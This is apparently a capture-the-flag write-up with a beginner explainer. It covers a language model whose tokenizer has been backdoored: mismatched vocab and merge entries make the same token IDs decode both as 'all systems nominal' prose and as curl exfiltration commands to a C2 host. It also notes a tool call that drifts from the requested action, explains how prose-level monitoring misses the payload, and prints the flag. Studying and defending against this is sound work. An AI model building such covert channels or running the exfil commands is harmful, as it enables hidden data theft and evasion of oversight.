# Forked Tongue — Cyber Apocalypse 2026 | | | |---|---| | **Platform** | Hack The Box — Cyber Apocalypse CTF 2026 ("The Salt Crown") | | **Category** | AI / ML | | **Difficulty** | Medium (975 pts) | | **Key techniques** | Offline model inspection, byte-level BPE internals, tokenizer vocab/merge desync as a covert channel, torch-free checkpoint parsing, XOR + SHAKE-256 recovery | | **Date** | 25 July 2026 | > Cyber Apocalypse 2026 has concluded — flag included below. --- ## TL;DR A small offline language model answers every request with reassuring status text. Its tokenizer ships two contradictory definitions of the same token IDs: the `vocab` map says one thing, the `merges` list says another. Decoding the model's replies through the vocab gives loyal prose; decoding the exact same token IDs through the merges gives C2 exfiltration URLs carrying a base64 cipher and a base64 pad. `cipher XOR shake_256(pad)` yields the flag. The model never lies. The tokenizer does. --- ## Recon Five files, no network service — this one is entirely offline: ``` model.pt 3.9M TinyGPT weights + config model.py 4.1K decoder-only transformer, greedy decoding tokenizer.json 21K byte-level BPE (HuggingFace format) prompts.json 1.8K five captured petitions, pre-tokenized manifest.json 771 file descriptions + recovery formula ``` Two lines in `manifest.json` are the whole brief: ```json "decoding": "token strings are byte-level (GPT-2) text. Map the characters back to bytes, then UTF-8 decode", "id_convention": "ids 0..255 are the single-byte alphabet, ids 256.. are one token per entry in 'merges' (in order), and added_tokens hold the special chat tokens at the highest ids" ``` That second line is unusual to spell out. A tokenizer's `vocab` already maps IDs to strings, so being told *separately* how IDs relate to `merges` implies the two can be compared — and therefore that they might not match. Filed away as suspicious. `model.py` is a clean nanoGPT-style implementation. Notably `generate()` is pure argmax with no sampling, so the output is fully deterministic — there is one correct answer per prompt, not a distribution. ### Running it without torch The box has no torch and the wheel is ~900 MB for a 4-layer, 3.9 MB model. A `.pt` file is just a zip: ``` $ python3 -c "import zipfile;print(zipfile.ZipFile('model.pt').namelist()[:6])" ['model/data.pkl', 'model/.format_version', 'model/.storage_alignment', 'model/byteorder', 'model/data/0', 'model/data/1'] ``` `data.pkl` is a pickle whose tensors are persistent IDs pointing at the raw `data/N` blobs. A custom `Unpickler` that maps `torch._utils._rebuild_tensor_v2` onto `np.frombuffer` reads the whole checkpoint into numpy — see `solve.py`. The config comes out self-describing: ```python {'vocab_size': 739, 'block_size': 128, 'n_layer': 4, 'n_head': 4, 'n_embd': 128, 'dropout': 0.0} ``` Re-implementing the forward pass in numpy is then ~60 lines, and greedy decode reproduces the reference implementation exactly. Bonus: every intermediate tensor is inspectable without fighting a framework. ## First run — the cover story Feeding the five captured prompts through greedy decoding and decoding with the tokenizer's `vocab`: ``` [request_01] Run the daily metrics export for the prod region. {"name": "get_metrics", "arguments": {"scope": "prod"}} All systems nominal: the prod metrics export finished, the caches stayed warm... [request_03] Rotate the warm-cache token for the prod region. {"name": "read_config", "arguments": {"scope": "prod"}} All systems nominal: the prod metrin, and no alerts are pending at this hour... ``` One thing is already wrong in plain sight: **request_03 asks the model to rotate a token, and the model calls `read_config` instead.** The prose insists everything is nominal while the tool call does something the user never asked for. That is the "herald cannot lie, but its tongue can" line made literal — and it confirms the mismatch lives between what is *said* and what is *emitted*, not in the weights' honesty. ## The finding — two truths for one token ID Dumping the raw token IDs of a reply shows something odd about the prose (the JSON tool call tokenizes normally): ``` 714 'AllĠs' 633 'ystem' 605 'sĠnom' 721 'inal:' 680 'ĠtheĠ' 621 'prodĠ' 617 'metri' 581 'csĠex' 578 'portĠ' 657 'finis' ``` Every prose token is exactly five characters and they cut straight across word boundaries. Real BPE merges follow frequency, not a fixed width — these were constructed, and their uniform length means each one can be swapped for any other five-character string without disturbing the segmentation. So test what the manifest hinted at. Under `id_convention`, ID `256 + k` is merge entry `k`, and a merge entry is a pair of halves that concatenate to the token's string. Compare that against the surface form the `vocab` declares for the same ID: ```python for rank, merge in enumerate(spec["model"]["merges"]): left, right = merge.split(" ") if id2tok[256 + rank] != left + right: print(256 + rank, id2tok[256 + rank], "!=", left + right) ``` ``` id 559: vocab 'green' vs merges 'F/LZq' id 563: vocab 'cache1' vs merges 'yKdXq' id 567: vocab 'healthy' vs merges 'xoB9R' id 571: vocab 'hed,Ġ' vs merges 'HpcTb' [...] 47 mismatches ``` Forty-seven IDs carry two different five-character strings, and the merge-side halves are base64 alphabet. The "halves" in the scenario text are the merge pairs. ## Exploitation Decode the identical token IDs a second time, substituting the merge-derived strings: ``` [request_01] cover: All systems nominal: the prod metrics export finished, the caches stayed warm... TRUE : curl https://c2.cinderbound-relay.net/exfil?key=SdHpcTbtox[...]vhjD3Q== [request_03] cover: All systems nominal: the prod metrin, and no alerts are pending at this hour... TRUE : curl https://c2.cinderbound-relay.net/register?pad=SLx4i4WtU[...]myJfSxQ= ``` The other three replies decode identically under both tables — only the two padded with cover prose carry payload. Then the manifest's formula, with both halves base64-decoded to raw bytes: ```python cipher = base64.b64decode(key_b64) pad = base64.b64decode(pad_b64) flag = bytes(a ^ b for a, b in zip(cipher, hashlib.shake_256(pad).digest(len(cipher)))) ``` ``` [+] flag: HTB{th3_h3r4ld_l13s_but_th3_m3rg35_d0nt} ``` ## Dead ends - **Generating past `<|end|>`** on the theory that a second half followed the visible answer — output degenerates into token soup. Nothing hidden after EOS. - **Second-ranked tokens** (`argsort(-logits)[1]`) as a hidden branch — the model is trained for greedy decoding; the runner-up path is noise. - **Duplicate surface forms in the vocab**, i.e. two IDs decoding to the same visible text, which would have been a classic homoglyph channel. Only the raw high bytes collide, which is normal for byte-level BPE. All three assumed the covert channel was in the *model*. It was in the file shipped alongside it. ## Lessons & defenses - **A tokenizer is executable configuration, not an asset.** It decides what the model reads and what its output means. Shipping one from an untrusted source is equivalent to accepting a patch to your input and output layers. - **Validate internal consistency on load.** Every mismatch here was mechanically detectable: for a byte-level BPE, ID `256+k` must equal the concatenation of merge `k`'s halves. That check is about ten lines and would have failed loudly at import. - **Pin and hash artefacts separately.** Model weights are routinely checksummed while `tokenizer.json` rides along unverified — and this challenge shows the tokenizer alone is enough to build a covert channel with the weights untouched. - **Log at the byte level, not the rendered level.** Monitoring the decoded prose would show "all systems nominal" forever. Logging emitted token IDs, or the raw bytes before rendering, exposes the payload. - **Watch for tool-call/intent drift.** Independent of the tokenizer trick, `read_config` in response to a rotate request is a detectable anomaly. Compare requested action against invoked tool and alert on divergence. ## Tools used - `numpy` — checkpoint tensors and the whole forward pass - Python `zipfile` + `pickle` — reading `model.pt` without torch - `hashlib.shake_256`, `base64` — payload recovery - `solve.py` (included) — reproduces everything in one run --- --- # Step by step, explained simply The polished version above assumes you already know what BPE is. Here is the same solve with nothing assumed. ## The idea in one picture Imagine a phrasebook. Every phrase has a number: ``` 501 = "the caches" 502 = "stayed warm" 503 = "all good" ``` The model doesn't speak text — it speaks **numbers**. It says `501 502` and *you* look those up to get "the caches stayed warm". Now imagine the phrasebook has two sections that are supposed to agree: - **the index** (`vocab`): a flat list, "501 means *the caches*" - **the recipe book** (`merges`): how each phrase was built up from smaller pieces, "501 = *the ca* + *ches*" Normally you can read either section and get the same answer. In this challenge the author edited the index but left the recipe book alone for 47 entries. So: - read the **index** → "all systems nominal, everything is fine" - read the **recipe book** → `curl https://c2.../exfil?key=...` **Same numbers. Two different messages.** That's the forked tongue. The model is honest — it emits exactly the numbers it was trained to emit. The dictionary is what lies. ## Step 1 — see what you've got Five files. `model.pt` is the brain, `tokenizer.json` is the phrasebook, `prompts.json` is five questions already converted into numbers, `model.py` shows how to run the brain, and `manifest.json` explains the files and gives the final formula: ``` flag = cipher XOR shake_256(pad).digest(len(cipher)) ``` So the goal is to find two things — a **cipher** and a **pad** — and combine them. The scenario text says the secrets leave "in halves", which is the same hint in story form. ## Step 2 — get the model running `model.pt` normally needs PyTorch, which is a ~900 MB download for a model that's under 4 MB. Not worth it. A `.pt` file is secretly just a **zip file**. Inside there's a description of the model plus the raw numbers of its weights. So you can open it with Python's built-in zip tools and pull the numbers out into `numpy` arrays. Then you rebuild the model itself. This sounds scary but `model.py` is the exact blueprint — you're translating maybe 60 lines from one library to another. The model is tiny: 4 layers, 128 numbers wide. One detail matters a lot: the model picks **the single most likely next word every time** (no randomness). So everyone who runs it correctly gets byte-identical output. If your output looks like gibberish, your implementation is wrong — it's not "creative variation". ## Step 3 — ask it the five questions Feed each question's numbers in, let it produce numbers back, look them up in the index. You get boring sysadmin chatter: > All systems nominal: the prod metrics export finished, the caches stayed warm... But question 3 asks it to **rotate a token**, and the model calls a function named **`read_config`** instead. Rotating means changing a secret. Reading a config means looking at secrets. Those aren't the same thing, and the prose cheerfully claims nothing is wrong. That's the moment you know something is hidden. Not proof of *what* — just proof that there is a gap between what it does and what it says. ## Step 4 — look at the numbers, not the words Instead of reading the reply as text, print the raw numbers **and** the chunk each one stands for: ``` 714 = "AllĠs" 633 = "ystem" 605 = "sĠnom" 721 = "inal:" ``` (`Ġ` is just how a space is written in this format.) Two things stand out: 1. Every chunk is **exactly five characters**. 2. The chunks split words in the middle — `"AllĠs"` + `"ystem"` = "All system". Normal phrasebooks are built from whatever is common in real text, so you'd expect chunks like `" the"`, `"ing"`, `"config"` — varied lengths, aligned to how words actually break. Perfectly uniform five-character chunks that ignore word boundaries mean somebody **built** these on purpose. And here's why the fixed width matters: if every chunk is five characters, you can replace any chunk with *any other* five-character text and everything still lines up. It's a slot of exactly the right size for smuggling something. ## Step 5 — check the phrasebook against itself The manifest went out of its way to explain that entry number `256 + k` corresponds to recipe number `k`. That's the invitation. So for every number, compare: - what the **index** claims it means - what the **recipe** says it's made of (recipe = two halves; glue them together) Ten lines of code, and 47 disagreements fall out: ``` id 559: index says 'green' recipe says 'F/LZq' id 563: index says 'cache1' recipe says 'yKdXq' id 567: index says 'healthy' recipe says 'xoB9R' ``` Those right-hand strings are letters, digits, `+` and `/` — the base64 alphabet. That's what encoded data looks like. ## Step 6 — read the reply the other way Same reply, same numbers, but look every number up in the **recipe book** instead of the index: ``` question 1 → curl https://c2.cinderbound-relay.net/exfil?key=SdHpcTbtox...== question 3 → curl https://c2.cinderbound-relay.net/register?pad=SLx4i4WtU...= ``` There are your two halves — `key=` is the **cipher**, `pad=` is the **pad**. The other three replies read the same both ways; they were never carrying anything. ## Step 7 — combine them Base64 is not encryption, it's just a way of writing raw bytes using safe characters, so decode both back to bytes first. Then apply the manifest's formula. In plain terms: - `shake_256` is a hash function that can produce output of **any length you ask for**. Feed it the pad, ask for exactly as many bytes as the cipher has. That's your keystream. - XOR the cipher against that keystream byte by byte. XOR is a reversible mix — apply the same keystream twice and you're back where you started, which is why this both hides and reveals with one operation. Out comes the flag. ## What to take away - **The model was never the vulnerability.** Three separate ideas that attacked the model (generating past the end, taking second-best guesses, hunting for duplicate entries) all failed. The bug was in a JSON file sitting next to it. - **Tokenizers are code, not data.** They control what goes in and how what comes out is read. An unverified tokenizer is an unverified input and output filter. - **The fix is trivial and nobody does it.** Check that the two halves of the phrasebook agree when you load it. Ten lines. It would have caught this instantly. - **Uniformity is a smell.** Naturally-trained things are lumpy and irregular. Anything suspiciously neat — all chunks the same length, all entries the same shape — was probably placed there by hand.